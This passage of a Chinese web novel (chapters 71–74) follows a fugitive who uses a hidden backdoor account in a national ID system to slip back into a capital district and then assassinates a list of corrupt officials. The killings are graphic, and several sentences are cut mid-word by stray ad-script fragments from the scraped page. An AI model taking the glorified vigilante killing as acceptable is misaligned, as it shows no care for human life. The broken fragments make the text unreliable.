她们制定的计划如今也到了实施的时候,祝译看向电视里的报道的殷肆,只希望这一次能够尽情利用他的死亡以达成槐翎的目标。 距离死刑倒计时7天,她们给自己定下的期限也是7天。 71. 第 71 章 槐翎把车停在列车站,自己则是出示了印着大大的A区的身份卡。 即使身份卡上的照片和她完全不符,她还是自由地进入了列车站台,驶向A区的列车一周只有一班,如今只有她一个人孤零零地站在站台上。 建设列车站不是出于什么便捷的心思,更多是为了战略上的意义,小小的如同血管一样的列车线路把每一个地区都连接起来,宽敞得可以容纳多条轨道的地下隧道更是考虑了泰坦的大小。 一旦宣布全国进入紧急状态,这些列车就会被撤下,轨道则是转变成运输泰坦的高速轨道,高效且隐秘,从A区到E区只要十个小时。 相反,从E区到A区也只要十个小时,一旦轨道被控制,那便是一把双刃剑了。 列车呼啸着驶来,槐翎压下自己被吹起的头发,她走进空无一人的车厢,找了个舒服的位置坐了下来, 列车迅速提高了速度,这个班次将会直达A区,在A区的站台将会有卫兵把守,他们会用肉眼检查身份卡和持卡人的信息,而不是像C区这样用机器检查。 槐翎对自己稍微做了些变装,为了尽可能掩盖自己的特征,她特意带上了化妆包,在十来分钟后,她和身份卡上的照片有了几分相似。 因为时间还算充足,她打开自己的行李,从里面拿出几把自动枪,对它们一一进行调试,又确认了一遍子弹库存,在空荡荡的车厢里,她把武器都放在地面上铺开,悠然自得就像在自己家里。 清点完毕之后,她拿了一把消音枪放在腰间,必要时候她将会强行突破A区的防守,毕竟这是最快的方法。 六小时后,只载有一名乘客的列车停了下来。 槐翎看着久违的站台,心里思绪万千。 她走向识别身份卡的仪器,把自己的身份卡放了进去。 “识别中……”旁边的卫兵安静地看着仪器的提示,半分钟后,仪器显示识别通过。 卫兵又拿过身份卡,把槐翎和上面的照片进行对比,槐翎摘下墨镜和帽子,任由他们来对照。 而她的左手已经伸进口袋里,随时准备送他一枪。 卫兵面无表情地看了半天,实在是找不到什么错处,对于A区的居民,他们没什么权力去问太多问题,更何况此时眼前这个人看上去人畜无害。 “包里拿的是什么?” “行李。”槐翎耸肩,“要看吗?” 卫兵思考了一会,又想到槐翎是A区的人,最终还是打消了这个念头。 槐翎轻松地通过了身份识别,所以她从来都不用担心在A区的身份问题,无论怎么样,她都有自信能应对。 她戴上墨镜和帽子,对卫兵说了声谢谢。 能做到这个地步,多亏是身份卡的管理系统,管理系统确实涵盖了很多方面的功能,这是它重要且强大的依靠,更要紧的是,在系统的后台能够看到全部人的数据,虽然出于信息安全的考虑,不是什么人都具有查看信息库的权限。 而槐翎足够幸运,因为她的母亲就是开发管理系统的首席工程师,早在槐翎还没出生的时候,她的母亲就已经在构思这样的系统,为了以后的国家管理。等到槐翎出生后,她把还在内测运行的系统的第一个权限给予了槐翎。 她是第零号用户,是只仅次于系统创始人的存在。 即便是在公开上线投入使用的时候,这不存在于系统记录里的零号用户依旧得以保留,成为了系统里的幽灵。 它无处不在,无论什么技术都无法捕捉它的存在,它的操作没有痕迹,就像是从未出现过。 这是来自母亲的偏爱与馈赠。槐翎一直有在好好守护自己的礼物,她很早就学会了如何使用管理系统,对她来说,创造几个不存在的人并不难。 这张底牌太过重要,没有她的实人认证,没有人能够触碰到系统的背面。 槐翎提着行李走出列车站,她抬头看了眼刺眼的天空,一阵干冷的风吹来,这是A区才有的味道。 四个小时后,另一个来自E区的列车停在A区,同样空无一人的列车里走下一个人,他心事重重,从口袋里拿出有些破损的身份卡。 卫兵有些惊讶地盯着他看,还以为看错了。 * 时隔多年回到自己的公寓,槐翎久违地感受到了放松。 公寓没有得到很好的维护,灰尘落在昂贵的家具上,槐翎不是很想继续坐上去,但考虑到自己还会在这里留一段时间,她还是忍着不适开始收拾自己的家。 一个真正属于她的家。 她学着记忆里看到的技巧,用抹布一点一点地擦拭家具,看着它们重新变得干净,表露出昂贵价格应有的光泽。 擦拭完毕后,她重新唤醒了沉睡已久的小机器人,让它对地面和空气做清洁。 房间里的情况也没好到哪里去,她自己动手换了床单被子,把它们通通放进洗衣机清洗,扬起的灰尘迷了她的眼睛,槐翎觉得打扫卫生比做别的事情都要累。 直到下午,她才完成了全屋的清洁。 她在厨房的角落找到还没过期的咖啡粉,替自己冲了杯咖啡。 等她真正坐在沙发上时,她才意识到自己一直在下意识回避那个多出来的房间的存在。 槐翎盯着房门看了好一会,最终还是打消了进去的念头。 已经过去大半年了,再去想没有意义,只会徒增烦恼,那段时间的相处就当做荷尔蒙作祟吧,槐翎是这么想的。 太阳落下,世界进入昏睡中。 槐翎打开电脑,为了避免被追踪到动态,她在网络上做了些手脚。 新的加密程序被装载在电脑里,她颇有耐心地等待进度条,在半个小时后,电脑终于和终端连接上了。 她没有迟到,正正好赶上了会议的时间。 屏幕里出现了两张脸,两张极为相似的脸。 在右边的是祝译,在左边的是祝渊,祝译的母 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 亲。 在看到槐翎的连线后,祝译露出了放松的笑容:“看来一切顺利。” 下一秒,槐翎的脸也出现在屏幕里,她单手撑着头,嘴角是若有若无的笑意。 “看来这就是槐翎了,小女这段时间麻烦你了。”祝渊在看到槐翎后也礼貌地打了招呼,她现在看上去不过五十岁,脸上已经有了皱纹,不过看上去依旧神采奕奕,眼睛上都是光。 “客气了。”槐翎还是颇为敬佩祝渊的,她是伟大的科学家,是能够带领人类突破科技瓶颈的人物,就算是槐迩也不敢对祝渊做什么。 “多亏了槐翎的主意,我们才能脱离皇帝的监控在世界的每个角落进行交流。”祝渊叹了口气,“也得益于我们上个月把宇宙的通信装置发射上去,我们现在正在用的线路,可是世界上第一条连接宇宙和地面的通信线路。” “这种感觉…还有点奇妙。”祝译看着好久没见到的祝渊,她眼眶迅速地红了,她还有好多话想和自己的母亲诉说,如果不是怕暴露身份,她早就想打电话回去了。 “叙旧就等我下线后吧,这个线路很安全,没有人能够监测到,但是你们也要注意别被其他人发现,尤其是祝博士那边。”槐翎提醒道。 “是的,我这边的项目组还不知道……虽然对他们来说这是很好的工具,我还是尽可能地想要保护你们。近期关于国家有各种各样的流言,我们也尽可能想要脱离政治斗争。”祝渊点头。 “明白了,妈妈,谢谢你提供这样的线路给我们。” 祝渊和祝译又寒暄了几句,槐翎静静看着她们两母女的互动,心里泛起一阵酸涩。 她已经很久没看到自己的妈妈了,说不定现在也会变成祝渊这个模样吧,眼角虽然会长出细纹,皮肤也不再紧致,但妈妈依旧是这个世上最美丽的存在,在听到女儿的撒娇时,会耐心且带着笑意去倾听。 祝渊依依不舍地下线了,祝译悄悄擦去眼角的泪水,很快恢复到工作状态。 “名单我已经再次确认好了,最后定下来是有18人,他们都具有一定的影响力,剩下的都是没有主见,只会跟随主流的小鱼小虾。” “把他们按照影响力排序,我明天就会按照名单下手。”槐翎无意识地转动手里的吊坠,“我已经猜到第一个是谁了。” “明白,他们的罪证我也顺手整理了一份…之后我会公布到公众视野里,这样你的回归也会显得名正言顺些。” “哼,名正言顺……我到底也是变得虚伪了。”槐翎自嘲地笑了。 “怎么会是虚伪呢?政客做什么不都想要些好听的名声吗?只要能掌握到话语权,民众都是很好控制的。”祝译的表情未变,但是槐翎却能感觉她身上的变化,此刻她们两个浑身上下都散发着同样邪恶的气息。 槐翎低声笑了起来,比起其他地方的空气,还是A区的味道更适合她,道貌岸然的,隐藏在西装礼服下的血腥味,每个人都是戴着面具的野兽。 72. 第 72 章 要掌握一个人的踪迹不难,尤其是在足够小的A区。 一个具有影响力的人物,不论去了哪里都足够引人注目,更何况槐翎很是熟悉名单上的第一位。 她在衣柜里翻出一件礼服,时隔多年再次穿上礼服,槐翎只觉得浑身都别扭。 站在落地镜前,她久违地好好观察了自己,因为控制了饮食,体脂率略有下降,头发有些过于长了,修剪一下会更好,但她的脸还是和过去一样,只是没有了在学院时的稚气。 槐翎在身上尽可能地藏起武器来,现在天气冷,只要再加一件外套就能藏更多东西了。 她画了个浓艳的妆,头发也盘起,蹬了一双高跟鞋就出发前往宴会,她没有被邀请,但要进去宴会,仅凭一张脸就足够了。 红色的跑车穿梭在无人的街道上,槐翎心如止水,她来到郊外的庄园,庄园里灯火通明,隐约还有音乐声传来,保安只看了一眼这红色的跑车,就知道这是来了个身份不凡的人物。 今天是东家的生日宴会,因为正正好是六十岁,所以排场搞得很大,几乎邀请了所有的亲朋好友。 槐翎来得正是时候,今天估计能很快就完成任务。 “请出示请柬。”保安还是按照程序要求槐翎说明身份。 槐翎降下车窗,露出一张A区大家都不能再熟悉的脸。 保安后退了两步,吓得不敢说话。 旁边正在检查别人请柬的保安也被这样奇怪的举动吸引了注意力,他们纷纷转过头来,在看到槐翎时都跟见了鬼似的。 其中一个反应较快,马上就用对讲机联系了庄园里的管家。 “我来庆祝表叔的六十大寿,怎么,不欢迎我这个小辈?”槐翎倚靠着车门,她嘴角上扬,满脸都是嚣张。 “让她进来。”对讲机里传来低沉的声音。 槐翎自然也听见了,她把车钥匙扔给保安,自己则是顺着庄园的道路走了进去。 她在很小的时候来过,在家里出事后,和这个关系并不亲近的表叔自然就疏远了,因为好歹也算是皇帝的远房亲戚之一,这位表叔自然是趁机建立起自己的势力,像是金钱财富什么的,要想抓在手里更是容易,他和槐迩的阴险不同,对外形象极为宽和稳重,给自己建立起了值得信赖的人设,声称只要是有困难他都会出手帮助。 但在出手帮助后,他就会想方设法获取更多的利益,只要被他咬上那就至少得少一块肉。 因为大家或多或少都有些把柄在他手上,所以之后被他要求做点什么都很容易接受,杀人灭口,贪污,贩卖人口,这都是家常便饭。 只能说能进入A区的人,几乎没有人手里是干净的。 她大摇大摆地进入庄园的内部,不少宾客发现了她的存在,正忙着窃窃私语,毕竟在他们的印象里,此时的槐翎应该正在皇宫成为槐迩的玩具,玩着不怎么好听的伦理游戏。 于是独自一人前来的槐翎,就显得并不正常,更何况,槐翎还是没有邀请函的。 一楼大厅站满了宾客,他们不断打量槐翎,看着她来到大厅的中央,在那里正站着今天宴会的主角。 槐翎已经有十多年没见过这位表叔,如今他和印象里相差甚远,头发花白,脸上满是沟壑皱纹,因为长期的纵欲,体态并不算好看,才六十岁,他已经拄着拐杖了。旁边站着搀扶他的是不到四十岁的表婶,她穿了件蓝色的低胸礼服,一开始还在忙着和宾客应酬,满是算计的眼睛在看到槐翎接近后迅速打量了她一番。 “表叔,表婶。”槐翎用甜美的笑容回应了他们那好不礼貌的打量。 “嗯。”被唤作表叔的男人颔首,他们两个本就不熟,今天槐翎就这么大大方方来了,恐怕是有别的事情。 “方便找个地方谈谈吗?” “抱歉,小妹妹,我们现在还有事呢。”表婶马上就拒绝了槐翎的要求,毕竟他们之间真的没什么可谈的。 “那不谈也没关系,我有份礼物给表叔,希望能收下。”槐翎把手里提着的袋子递了过来,旁边立马有穿着统一制服的人员过来拿走她的袋子。 表叔连头都没抬一下。 “里面没有炸弹,你们倒也不用那么紧张。”槐翎这话说得不假,是没有炸弹,只是随手装了条项链,值多少钱不知道。 “你来这里,皇帝知道吗?”沉默已久的表叔终于说了话,他看着槐翎这天不怕地不怕的气势,心里突然有了不好的预感。 “知道?他知道又能如何?”槐翎轻蔑地笑了,“我不是叫你找个地方谈谈吗?你非要把事情弄那么难看?” 面对槐翎的突然变脸,表叔也不装了,“把她拖出去,小丫头片子看见我还敢这么放肆!” 只不过回答他的只有正中眉心的洞口,他的血液和脑浆喷了一地,透过洞口可以看见一脸惊恐的表婶,她还没来得及说点什么,紧接着一枚子弹就击中了她的脑门。 槐翎又依次在他们身上各自补了四枪,因为装了消音,声音确实不大。 没有人看清她从哪里拿的枪,也没有人看清那两个人是怎么倒下的,等到保镖反应过来的时候,槐翎已经拿了一杯香槟退出了几米远。 她不急着离开,而是在现场搜寻下一个目标。 “抓住她!杀人了!” 宾客们乱作一团,在听见声音,发现到不对劲的时间,也不过短短两分钟,槐翎则是利用了这个空隙找到了下一个目标。 她对自己的精准度有着绝对的自信,只要一把枪,她就能够全身而退。 原本站在二楼观看的下一个目标也出现了,槐翎不慌不忙地走上楼梯,保镖很快就捕捉到了槐翎这个与他人格格不入的身影,他们拿着枪追了上去,然而下一秒又被槐翎的枪口瞄准,几颗子弹轻松送他们离开。 第一批赶来的保镖已经倒下,下一批保镖犹豫了片刻,未敢直接冲上去面对槐翎。 当高跟鞋踩在深红色的地毯上,槐翎提着裙摆来到了二楼。 她的目标正在逃跑,二楼由各种房间组成,第一次来只会让人摸不清方向,但是槐翎迅速地猜到了他想要去哪里,于是她推开窗户,利落地翻到外面去,寻找了一个捷径,直接翻进去目标所躲藏的房间。 毕竟小时候,他们没少在这里玩捉迷藏呢。 “晚上好,表哥。”槐翎带着笑容,把子弹送了出去。 被唤作表哥的男子还没来得及发出惊呼,就头着地直接倒在地上 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,他的血液和地毯融为一体,难以分辨。 定制的昂贵西装也被鲜血染红,槐翎走到他旁边,在他身上补了两枪,确定已经断气后才离开。 整个过程不过十分钟,槐翎的身上连血都没沾到一点。 她再次回到一楼大厅,宾客已经跑完了,精美食物与昂贵的酒水洒了一地,只有等待槐翎落网的保镖分散在各处,他们拿着武器只等着槐翎一出现就发动攻击。 槐翎换上一个新的弹匣,她对这些保镖没什么感觉,工作嘛,不都是为了一两顿饭,何必紧追不舍呢? “你们的家主已经死了,再对付我也没有意义,不想送命的话就扔下武器离开吧。” 她边说话边上膛,只是话音刚落,她就瞄准了其中一个保镖露出来的手肘,子弹擦着他的手肘而过,血液也随之喷洒一地,保镖尖叫一声,咒骂起槐翎的残忍无道。 “下一次就是你的头。”槐翎毫无畏惧地站在大厅中央,她昂起头来喝下香槟,美酒在她的舌尖翻滚,槐翎不得不感叹自己这位表叔的经济实力。 保镖们已经明白了槐翎给出的信号,他们扔下武器纷纷离开,有些人也不躲了,直接双手抱头站起来,在槐翎的目光下离开了大厅。 槐翎再次回到表叔和表婶的尸体旁边,从他们的身上翻出一个手机,都是上锁的,槐翎把表叔破碎的头拿起来,竟然也能通过人脸识别。 她在通讯录找了一下,一个置顶的群聊里面很是热闹,看了眼都是和表叔臭味相投的人,槐翎想了一下,把二人的惨状拍了下来直接发到群里。 “六十岁生日快乐。”她把配字也发了上去,随后她扔掉手机,用鞋跟贯穿了手机,手机的光瞬间熄灭了。 * “……情况就是这样。”杜山把报告简要地和槐迩汇报了。 槐迩一言不发,他把目光投向下面跪着的人。 “你说过,想要我下令重建E区……我可以答应你的要求。”槐迩顿了一下,所有人都知道,这都是有代价的。 “你要杀掉槐翎,她已经失控了。” 杜山也盯着他看,希望这一次他能说出正确的答案。 槐迩已经不介意他的叛逃行为,只要这一次他能拨乱反正,弥补自己的过错,那么之后想要再往上走绝对不是问题。 他跪在下面,久久地沉默了。 “我做不到。” 杜山闭上了眼睛,心里是那么的气愤,又是那么的无奈,槐翎这个人到底有着怎样的本事! “废物!”槐迩把手边的东西砸了过去,不偏不倚落在他的脚边,他依旧不为所动。 “你还想留在这里?可以,那就看看她的名单上有没有你的名字吧!” “你的存在和她的野心相比根本不值一提!” “陛下,请不要过于生气。”杜山出声提醒了动怒的槐迩,他的身体刚刚恢复好,还不能情绪过于激动。 槐迩挥了挥手,从侧面走出来一个身穿黑白制服的老人,他毕恭毕敬地把热茶端给槐迩。 此时还跪在下面的人也注意到了那老人,他睁大了眼睛,不敢相信竟然会在这里重遇。 “宏叔?”他小心翼翼,生怕认错。 73. 第 73 章 槐翎昨天切切实实闹了场大的,今天想要动手就没那么容易了。 她原本也没想遮遮掩掩,就算闹大了,对她来说也没什么坏处,毕竟目标自己也不一定知道自己是否在名单中,有些心理承受能力较差的,说不定还会自己送上门来。 昨天一口气解决了三个,槐翎把他们的名字划掉,还剩下十五个,也就是说她每天至少要送3个人上路。 “我已经利用内部网络找到他们的位置了。”祝译把目标的位置发给她,每一个都贴心地标记了姓名,并且还附上了监控摄像头拍到的照片。 “你还留在自己的家里,不怕被抓嘛?”祝译还是没忍住多问了一句。 “他们不知道我住哪里,这套公寓理论上并不属于我。而且我已经部署好了,只要有别人入侵,这里的安保系统就会启动,到时候整层公寓都会自爆。” 槐翎轻描淡写地说道,“再说了,他们都知道我不好惹。” 祝译顿时就明白了槐翎做事情为什么要那么大张旗鼓了,就算知道是槐翎干的又怎么样?在这个自私自利的A区里,谁都不想惹麻烦,更何况槐翎还是那个光明正大杀了人还能毫发无伤回来的人,还是连皇帝都不放在眼里的人,跟槐翎硬碰硬那是一点意义都没有。 被判死刑,被捕获,都没能阻止她,一个小小的安保队伍又能做什么呢? 槐翎记下了目标的位置,她今天不打算从正面进攻,于是拿了一把狙击枪,带上装备就开车往目的地开去。 “接下来这个目标是昨天的对家,昨天的事他应该很高兴才对,这会还在私人海滩上喝酒庆祝,心真大啊。”祝译利用监控持续观看目标的影像,再有十分钟槐翎就能到达目的地了。 槐翎却并未直接靠近海滩,她找了一家咖啡厅,走到咖啡厅的后厨,利用维修通道爬到咖啡厅的上方,在这个位置能很好地捕捉到目标的踪迹。 她迅速布置好自己的武器,然后打开瞄准镜,找到了目标。 “你所在的距离和他有200米,今天的风很大。” “我知道。”槐翎摘下耳机,祝译话就是太多了,有的时候一说起来话就没完,她调整好自己的姿势,感受到风的流动。 在心里默默倒数了五下,槐翎扣动扳机,子弹在她的操纵下迅速射出三颗,其中一颗命中了目标的头部,另一颗擦着他的脖子飞过,剩下的一颗击中了目标的喉咙。 “目标已倒下,有人来抢救了。”祝译实时进行播报。 槐翎在他们抢救的时候把行李都装好,直接从楼顶翻了下去,在发射出去的那一刻她就知道自己能打中,她从不质疑自己的技术水平。 “看来抢救无效,他的头碎了一半,现在保镖正在四处搜寻你的踪迹。” “知道了。”槐翎回到车上,她现在还赶着去下一家,没空理会之后会发生什么。 她擦拭枪管上的灰尘,枪管在阳光下散发着冷峻的光,自动驾驶的车辆迅速地驶离了私人海滩的区域,朝着下一个目标出发。 “下一个目标现在正在家里,保镖数量激增,他很怕死欸。” “他确实就是这样的人。” “要进行狙击吗?” “不。那样太麻烦了。”槐翎看了眼身后的背包,面对选择笼城的目标,直接把整个城堡都炸毁,才是最简单直接的方法。 槐翎的父亲对外的形象一直是个莽夫,他做事大胆鲁莽,却是歪打正着能取得一定的效果,很多人都觉得他不过是运气好,或者是借助了其他人的智慧,但是槐翎很清楚,那不过是他藏拙的手段。 他看上去越是愚蠢,越能减低别人对他的敌意,以至于很多人都不知道,那些在战场上的指挥都是他深思熟虑得来的。 槐翎从小跟在他身边便明白了这一点,可是藏拙藏到最后,他又变成了谁都能踩一脚的沙包,就算被人抢了胜利的果实也毫不生气。 槐翎最讨厌这样的他,所以她一点也不像自己的父亲,她把所有的尖牙都露出来,就像是稚嫩的狮子,她大声告诉任何人的利爪能够撕裂所有事物,为的就是塑造自己不好惹的形象。 她对待谁都没有善意,这样就不会有人想要了解她,围绕在她身边的谜团就会越来越多。 大家其实都很好奇,槐翎这段时间都在做什么?为什么她又能回来?只要她表现得越是神秘,越是高深莫测,大家愈是觉得她的力量不可估量。 就连在她参加的军事训练课程里,她也从不藏拙,一直稳居第一名,无论是体能还是射击,槐翎都要成为最好的那个人。 车辆到达目的地,槐翎看着在围墙外巡逻的卫兵,和他们交接工作的保镖,心想这个人真是谨慎啊,甚至还有能力调动卫兵,要知道大部分卫兵都送去B区了,恐怕这些人都是他私自养着的。 现在的她不大可能进入到围墙里面,外面的卫兵也会马上攻击槐翎,槐翎只好转变了策略,她很快便驶离这一片区域,拿出了自己的电脑进行操作。 “这个位置狙击不到他。” “我知道。”槐翎正在快速地设置无人机的路线,虽然很大可能会在半路就被人拦截,但只要能吸引一点火力,她就能混进去直接屠杀。 按照槐翎的设置,无人机将会在五分钟后出发,她本人则是拿了武器,换上了一套大衣靠近围墙的另一面。 无人机发出“滴滴”的声音,随之它起飞,迅速地靠近了目标所在的上空。 它制造出来的动静不大,但也成功地吸引了卫兵的注意力,他们纷纷抬头去击落无人机,不过一分钟,无人机就摇摇晃晃地掉了下来。 紧接着挂在无人机上的背包就自动打开,在湛蓝的天空中炸出了一朵绚烂的烟花。 槐翎趁着他们被无人机控制的空隙翻墙进入了内部,有几个巡逻的卫兵发现了她的踪迹,在他们呼叫前槐翎就已经开枪,为了不暴露自己的踪迹,她又拖着尸体藏在篱笆里面。 “目标在三楼房间,他身边有五名卫兵。” 槐翎选择直接从外墙爬上去,之后要撤离也容易,只要从窗户进行攻击就好了,她也根本不担心那是不是防弹的玻璃,毕竟炸弹的威力什么玻璃都挡不住。 她轻轻松松地爬上二楼的外墙,然后从口袋里掏出一枚炸弹,把它粘贴在三楼玻璃的角落,默念十秒后,炸弹 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 就这么炸开了,玻璃破碎了一地。 槐翎单手把自己晃了上去,因为目标早就猜到槐翎有备而来,卫兵反应很快,在这爆炸后不过几秒就掩护了目标离开。 槐翎另一只手持枪,把室内的卫兵都送走,自己则是翻了进去追踪目标的身影,她早就猜到这个人难搞,所以这一次做的准备都很充足。 她不慌不忙地踏过卫兵的尸体,只要有人出现她就会马上发动攻击,整栋别墅里都响彻了人的哀嚎,子弹射出的声音,还有弹壳落在地上的宛如死神降临的铃声。 一个接着一个炸弹被她扔出去,原本富丽堂皇的别墅顿时变成了一片废墟,槐翎在地底保险柜的前面找到了缩成一团的目标。 他正在输入密码,试图把自己关在保险柜里。 可是他又是那么的贪财,以至于设置了四五道保险,用了好几分钟都解锁不了。 槐翎打断他的脊椎,又废了他的双膝,最后把枪顶在他脑门上,逼迫他打开那巨型保险柜。 入目就能看到一座金山,金块整整齐齐地堆放在里面,炫彩夺目让人睁不开眼睛。 “怕死的守财奴。”槐翎把他扔了进去,然后把最后一个炸弹放在金山上,目标还未来得及求饶,便看见那保险柜门从外缓缓地关上。 他的声音越来越小,柜门的质量很好,在外面的槐翎什么都听不见。 她回到车上,打开车子的后备箱,重新整理了一波自己的库存,现在的她状态很好,恐怕今天能够超额完成任务了。 “下一个目标。” “他现在正在车上,似乎是想逃跑去B区。” “懦夫。” 槐翎掉转车头,在车上那不是更容易解决了吗? 她咧开嘴笑了,要知道A区前往B区的道路,平时那可是一辆车都没有啊。 “和他一起的是三辆装有卫兵的车,他自己在那辆黑色的车里面,这次的目标很好找。 槐翎设置好自动驾驶,虽然说赶过去要二十分钟,但也正好给了她机会重整旗鼓。 红色的跑车在路面轰鸣,就连测速摄像头都无法捕捉到它的身影,槐翎感受到风吹在她的脸上,冰冷的,刺得她脸皮都在疼痛。 她距离车队越来越近,于是在枪架在车玻璃上,她瞄准的是车辆的轮胎,有保镖发现了正在急速靠近的槐翎,他们纷纷从车窗两边伸出枪管来想要瞄准槐翎。 槐翎的脚跟踩在方向盘上控制方向,车辆在路面左右摇摆,轮胎也因为这样乱来的架势方式划拉出火星,而站在座位上的槐翎依旧稳着手脚,她在缝隙中找到了目标正在乘坐的车辆,于是下一秒子弹在高速路面上射出,紧接着,一阵刺耳的刹车声响起,被包围在中间的车辆打滑撞到旁边的车,发出一声巨响。 所有的车都不得不停下来,槐翎并未减速,她直接操纵车辆继续向前前进,手里的枪也没放下,她继续瞄准,坐在后座的目标从还未变形的另一侧车门爬出来,他系了安全带,整个人看上去还算安好。 他还没来得及喘一口气,就看见了不远处站在敞篷车上的槐翎,她的枪口正对着自己,宛如从地狱爬上来的恶鬼。 74. 第 74 章 屠杀一直持续到深夜。 祝译在另一边小心翼翼地听着槐翎的声音,她就像是一个永不知疲倦的机器人,好像今天就要把任务完成。 祝译甚至听不到什么求饶声,因为槐翎从不给他们机会说话。 回答她的只有干脆利落的枪声。 直到接近凌晨,槐翎才有了收手的意思,因为车上的补给已经用完了,她没有多少子弹剩下,所以不得不回去进行补充。 祝译后知后觉,幸好自己没有惹到槐翎,不然名单上就该有她的名字了。 红色的跑车车头略有剐蹭,槐翎把枪械带走,车就这么扔在路边,这辆车已经派不上用场了。 她背着行李步行回到自己的公寓,因为长期佩戴耳机,耳朵略有红肿。 槐翎随便在冰箱里开了些罐头,就这么就着水吃了下去,公寓里的暖气因为没有维护,并不暖和。 她痛痛快快地洗了个澡,换下被汗打湿的紧身衣和外套,槐翎已经很久没那么畅快了,在外面的五年,她一直忍着这些人为非作歹,今天终于能够一雪前耻,这滋味实在太过舒爽。 她站在窗前,看着外面依旧被黑夜包裹的繁华的A区,她抬头喝了半瓶啤酒,没有丝毫疲惫。 “开个短会吧。”槐翎简要地通知了祝译,祝译其实已经累得不想说话了,但既然是槐翎要求,她也不好推辞。 槐翎坐在电脑前,她头发还湿着,只穿着浴袍的上身露出了一部分的皮肤,明明是同一性别,祝译却害羞得不敢直视。 今天,严格来说算是昨天,对槐翎而言就像是出了一趟远门,等完成任务后她也就这么回来了,如果不是祝译全程都在听着,她恐怕会认为槐翎是出去旅游了。 毕竟槐翎现在不管怎么看,都不像是刚刚杀过十个人。 如果算上那些卫兵和保镖,恐怕已经超五十人了。 想到这里,祝译还是打了个寒颤,那可是人命啊,槐翎却能做到毫不在意。 “目前进度是13/18,要是今天还想进行清扫的话,就能提前完成了。” “剩下的5个应该都猜到自己的死期了吧。”槐翎像是发现了什么好玩的东西,“那我偏不让他们如愿,今天我就休息好了。” “啊?”祝译不明白槐翎怎么突然要这么做。 “恐惧才是能够击败他们的武器,被我一枪打死反倒是解脱了。” “你真是恶魔……”祝译小声地感叹。 “可是,他们会加强安保,或者就这么逃跑,之后要想掌握他们的行踪就困难了。”祝译还是提醒了一句,她是不想把事情搞复杂的,俗话说夜长梦多。 槐翎看了眼时间,应该再过几个小时他们就会找上门来了。 槐迩身边的杜山是一条好狗,嗅觉灵敏,虽然她把车扔了,只是祝译能看到摄像头,杜山自然也能看到,她在A区乱窜了一天,就算反应再迟钝也能明白怎么回事了。 “祝译,你在那边也要谨慎,今天很有可能就需要撤离。” “明白了,我的行李已经收好,随时都能跑路。” 槐翎和祝译再嘱咐了些细节才结束会议,距离天亮还有段时间,槐翎和衣躺了下来,她没什么睡意,但为了恢复体力,她还是强迫自己睡了一会。 和淡定的槐翎不同,祝译是不敢入睡的。 她担惊受怕地眯了一会,手里紧紧拿着槐翎留下的武器,她体能和槐翎没法比,紧张起来的时候反应也慢半拍,让她一个人留在这里已经是最大的挑战。 等到天快亮起来的时候,祝译才惊觉自己一夜没睡。 她马上跑到窗边去看是否有可疑的人物,但街道还是一如既往的繁华,大家都忙着去上班上学,没有人注意到这居民楼里的小小祝译。 但是祝译还是觉得心神不宁,她用冷水洗了把脸,强迫自己尽快清醒过来。 简单吃过一些东西填饱肚子后,祝译觉得不祥的预感愈发强烈了,她向来都觉得自己的第六感超强,只是现在这情况,她很难说清楚到底是因为一夜未睡的影响,还是真的有不好的事情要发生。 她喝了杯热茶,脑海里回想起睡前槐翎说过的话。 很有可能今天就得撤离,这句话槐翎绝对不是闲着无事提起的,祝译是相信她的,她的判断绝对不是毫无根据。 想到这里,祝译再也不敢有丝毫犹豫,她背起背包,把用于通信的工具全部带走,在离开前她最后看了一眼这生活了好一段的房子,她种下的花草还在阳台向阳生长,洗完的床单和衣服还在上面挂着,她和槐翎喝酒时的桌面上还有槐翎留下的字条——别把酒喝完了。 她依依不舍地关上门,既然已经选择了这条路,那么离别和奔波就是必要的课题,如今她也只能选择相信槐翎,相信她的判断和能力。 祝译走进人群里,她的装扮不起眼,很容易就混在人潮里再也找不到,她登上前往D区的列车,在那里有槐翎为她准备的据点,也是她的全新开始。 * 杜山捏着通讯器,报告传来:派往C区的小队去晚了,什么都没找到。 她们确实藏在了一个不起眼的居民楼里好一段时间,又隐姓埋名,做好了伪装,那房子里面都是生活的气息,第一眼看去只让人觉得这是一个温馨的家,谁也想不到那房子里装着两个逃犯。 就算是杜山也不得不惊叹,她们有着极强的反侦察意识,不然怎么会找准时机提前跑路了? “她们的通讯手段似乎是依托于研究所那边,祝渊有很大的嫌疑。”杜山说道,槐迩对此并不感到惊讶,祝渊是祝译的母亲,时隔那么久没见面,总会想办法联系上的,之前放着祝渊不动是因为还有项目在推进,现在项目进展良好,看来可以解决祝渊了。 槐迩还记得第一次看到祝渊的时候,她有着天才惯有的傲气,但是性格又是出奇的沉稳,她先是祝渊,再是一名科学家,最后才是一名母亲。 如果不是槐迩用丰厚的条件吸引,祝渊说不定都不会同意来A区,而这几年时间里,她确实交来了很好的答卷。 但是槐迩不能容忍叛徒,就算祝渊曾经做出那么多成绩。 “把祝渊抓起来。”槐迩下令,卫兵得令后迅速赶往研究所,要抓祝渊比槐翎简单 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 多了,况且有了祝渊做人质,祝译很有可能就会主动出现。 “那槐翎?我们已经掌握她踪迹了。”杜山盯着槐迩看,他期待能在槐迩嘴里听到些正确的判断,这里的人不管什么身份,只要一扯上槐翎,就跟失了心智一样,明明之前有那么多机会可以直接铲除槐翎,他们偏偏不这么做。 槐迩是这样,槐雾也是这样,更别说苍恃了。 槐迩却沉默了,对于这个不听话的侄女他总是很头疼。 杜山的心也跟着沉了下来,皇帝犹豫了,这证明他自己也没想好,“她已经杀掉13人,不知道还会杀多少人,放任她不管的话只会扰乱我们的计划。” “其他官员已经联名上书,恳求陛下尽快处置槐翎。” “他们只是害怕自己在名单上罢了,那些废物早该去死。”槐迩疲惫地挥手,杜山明白他这是不想再听下去了,他只得听从命令离开宫殿。 宫殿外面还站着一个人,杜山定睛一看才发现是苍恃。 他留在这里已有几天,目的只有一个,那便是重建E区,明明是被赶去E区,在那里度过了并不愉快的日子,却依旧想要让E区变好。 